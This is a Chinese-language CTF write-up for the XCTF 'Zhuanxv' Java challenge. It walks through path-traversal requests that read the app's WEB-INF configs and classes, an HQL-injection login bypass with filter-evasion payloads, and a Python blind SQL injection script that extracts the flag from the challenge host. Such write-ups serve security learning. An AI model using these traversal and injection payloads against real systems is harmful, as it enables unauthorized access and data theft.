一道入门的java安全题

发布时间 2023-11-03 20:59:17作者: CAP_D

【XCTF】Zhuanxv

收获

  • java题的一般流程

  • HQL注入

  • SQL注入

看题

  • 目录扫描

    dirsearch扫目录,发现list目录:

    image-20231102234943943

    一个登录界面,本着尽量不写sql注入题目的原则(因为太菜了这方面,抓包查看代码:

    image-20231102235159375

    js代码中为了加载图片直接写出了后台存储图像路径,那试试能不能通过这个url和参数直接读取源码。

  • 读源码

    先查看web.xml文件:

    http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/web.xml
    

    直接得到bg.jpg文件,更改其后缀为xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app id="WebApp_9" version="2.4"
             xmlns="http://java.sun.com/xml/ns/j2ee"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
        <display-name>Struts Blank</display-name>
        <filter>
            <filter-name>struts2</filter-name>
            <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
        </filter>
        <filter-mapping>
            <filter-name>struts2</filter-name>
            <url-pattern>/*</url-pattern>
        </filter-mapping>
        <welcome-file-list>
            <welcome-file>/ctfpage/index.jsp</welcome-file>
        </welcome-file-list>
        <error-page>
            <error-code>404</error-code>
            <location>/ctfpage/404.html</location>
        </error-page>
    </web-app>
    

    这里可以看到是一个struts2框架,于是我们找一下strust.xml:

    http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/classes/strust.xml
    

    得到:

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE struts PUBLIC
            "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
            "http://struts.apache.org/dtds/struts-2.3.dtd">
    <struts>
    	<constant name="strutsenableDynamicMethodInvocation" value="false"/>
        <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
        <constant name="struts.action.extension" value=","/>
        <package name="front" namespace="/" extends="struts-default">
            <global-exception-mappings>
                <exception-mapping exception="java.lang.Exception" result="error"/>
            </global-exception-mappings>
            <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
                <result name="error">/ctfpage/login.jsp</result>
                <result name="success">/ctfpage/welcome.jsp</result>
            </action>
            <action name="loadimage" class="com.cuitctf.action.DownloadAction">
                <result name="success" type="stream">
                    <param name="contentType">image/jpeg</param>
                    <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                    <param name="inputName">downloadFile</param>
                </result>
                <result name="suffix_error">/ctfpage/welcome.jsp</result>
            </action>
        </package>
        <package name="back" namespace="/" extends="struts-default">
            <interceptors>
                <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
                <interceptor-stack name="userAuth">
                    <interceptor-ref name="defaultStack" />
                    <interceptor-ref name="oa" />
                </interceptor-stack>
    
            </interceptors>
            <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
                <interceptor-ref name="userAuth">
                    <param name="excludeMethods">
                        execute
                    </param>
                </interceptor-ref>
                <result name="login_error">/ctfpage/login.jsp</result>
                <result name="list_error">/ctfpage/welcome.jsp</result>
                <result name="success">/ctfpage/welcome.jsp</result>
            </action>
        </package>
    </struts>
    

    为了登录,先查看com.cuitctf.action.UserLoginAction,其中因为.java文件在被编译后会成为.class文件,所以payload:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
    

    看完之后发现也没有什么线索,这里引用了com.cuitctf.util.InitApplicationContext继续看一下:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class
    

    反编译成Java文件后发现引用了applicationContext.xml,继续查看:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
    

    源码:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
            <property name="driverClassName">
                <value>com.mysql.jdbc.Driver</value>
            </property>
            <property name="url">
                <value>jdbc:mysql://localhost:3306/sctf</value>
            </property>
            <property name="username" value="root"/>
            <property name="password" value="root" />
        </bean>
        <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
            <property name="dataSource">
                <ref bean="dataSource"/>
            </property>
            <property name="mappingLocations">
                <value>user.hbm.xml</value>
            </property>
            <property name="hibernateProperties">
                <props>
                    <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                    <prop key="hibernate.show_sql">true</prop>
                </props>
            </property>
        </bean>
        <bean id="hibernateTemplate"class="org.springframework.orm.hibernate3.HibernateTemplate">
            <property name="sessionFactory">
                <ref bean="sessionFactory"/>
            </property>
        </bean>
        <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
            <property name="sessionFactory">
                <ref bean="sessionFactory"/>
            </property>
        </bean>
        <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
            <property name="transactionManager">
                <ref bean="transactionManager"/>
            </property>
            <property name="transactionAttributes">
                <props>
                    <prop key="add">PROPAGATION_REQUIRED</prop>
                    <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
                </props>
            </property>
        </bean>
        <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
            <property name="hibernateTemplate">
                <ref bean="hibernateTemplate"/>
            </property>
        </bean>
        <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
            <property name="userDao">
                <ref bean="userDAO"/>
            </property>
        </bean>
    </beans>
    

    可以看到,这里是连接数据库的关键代码。看一下这些class文件:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/user.hbm.xml
    

    user.hbm.xml源码:

    <?xml version="1.0"?>
    <!DOCTYPE hibernate-mapping PUBLIC
            "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
            "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
    <hibernate-mapping package="com.cuitctf.po">
        <class name="User" table="hlj_members">
            <id name="id" column="user_id">
                <generator class="identity"/>
            </id>
            <property name="name"/>
            <property name="password"/>
        </class>
        <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
            <id name="flag" column="welcometoourctf">
                <generator class="identity"/>
            </id>
            <property name="flag"/>
        </class>
    </hibernate-mapping>
    

    UserDaoImpl.class:

    package com.cuitctf.dao.impl;
    
    import com.cuitctf.dao.UserDao;
    import com.cuitctf.po.User;
    import java.util.List;
    import org.springframework.orm.hibernate3.support.HibernateDaoSupport;
    
    public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
        public UserDaoImpl() {
        }
    
        public List<User> findUserByName(String name) {
            return this.getHibernateTemplate().find("from User where name ='" + name + "'");
        }
    
        public List<User> loginCheck(String name, String password) {
            return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
        }
    }
    
    
  • 利用

    看了一眼wp,这里是一个HQL注入,其实和SQL注入类似,payload:

    from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'
    

    这里使用'1'>'0'的逻辑绕过万能密码。因为代码中过滤了空格和等号,所以需要用ascii码绕过,并且使用换行代替被过滤的空格。

    admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
    

    登录时,password随便设,同时这里需要使用Get方法提交,直接在网页上输入是POST方法,网页没反应。

    image-20231103174117653

    虽然登录成功,但是没有FLAG,所以需要根据user.hbm.xml的提示信息进行sql注入。

  • 注入

    贴上大佬的盲注脚本:

    import requests
    
    s = requests.session()
    
    flag = ''
    for i in range(1, 50):
        p = ''
        for j in range(1, 255):
            # (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < '
            payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'" + str(j) + "'"
            # print payload
            url = "http://61.147.171.105:63105/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=1"
            r1 = s.get(url)
            if len(r1.text) > 20000 and p != '':
                flag += p
                print(i, flag)
                break
            p = chr(j)
    
    

参考文章

javaweb项目的文件结构

总结

跟着大佬博客开始学习到java安全相关的东西了。跟同龄大佬的差距真大....真是太低手了